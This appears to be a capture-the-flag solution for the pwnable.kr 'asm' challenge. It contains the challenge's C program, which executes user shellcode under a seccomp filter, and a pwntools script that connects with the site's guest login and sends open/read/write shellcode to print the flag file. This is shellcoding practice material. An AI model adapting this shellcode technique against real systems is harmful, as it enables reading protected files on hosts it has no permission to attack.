asm

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
        scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
        if (ctx == NULL) {
                printf("seccomp error\n");
                exit(0);
        }

        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

        if (seccomp_load(ctx) < 0){
                seccomp_release(ctx);
                printf("seccomp error\n");
                exit(0);
        }
        seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

        setvbuf(stdout, 0, _IONBF, 0);
        setvbuf(stdin, 0, _IOLBF, 0);

        printf("Welcome to shellcoding practice challenge.\n");
        printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
        printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
        printf("If this does not challenge you. you should play ‘asg‘ challenge :)\n");

        char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
        memset(sh, 0x90, 0x1000);
        memcpy(sh, stub, strlen(stub));

        int offset = sizeof(stub);
        printf("give me your x64 shellcode: ");
        read(0, sh+offset, 1000);

        alarm(10);
        chroot("/home/asm_pwn");        // you are in chroot jail. so you can‘t use symlink in /tmp
        sandbox();
        ((void (*)(void))sh)();
        return 0;
}

from pwn import *

context.arch = ‘amd64‘
context.os = ‘linux‘
context.log_level = ‘debug‘

io = ssh(host = ‘pwnable.kr‘, user = ‘asm‘, password = ‘guest‘, port = 2222)
p = io.connect_remote(‘localhost‘, 9026)
shellcode = shellcraft.open(‘this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong‘, 0)
shellcode += shellcraft.read(3, 0x41414900, 0x100)
shellcode += shellcraft.write(1, 0x41414900, 0x100)
shellcode = asm(shellcode)
p.recvuntil(‘shellcode: ‘)
p.send(shellcode)

p.interactive()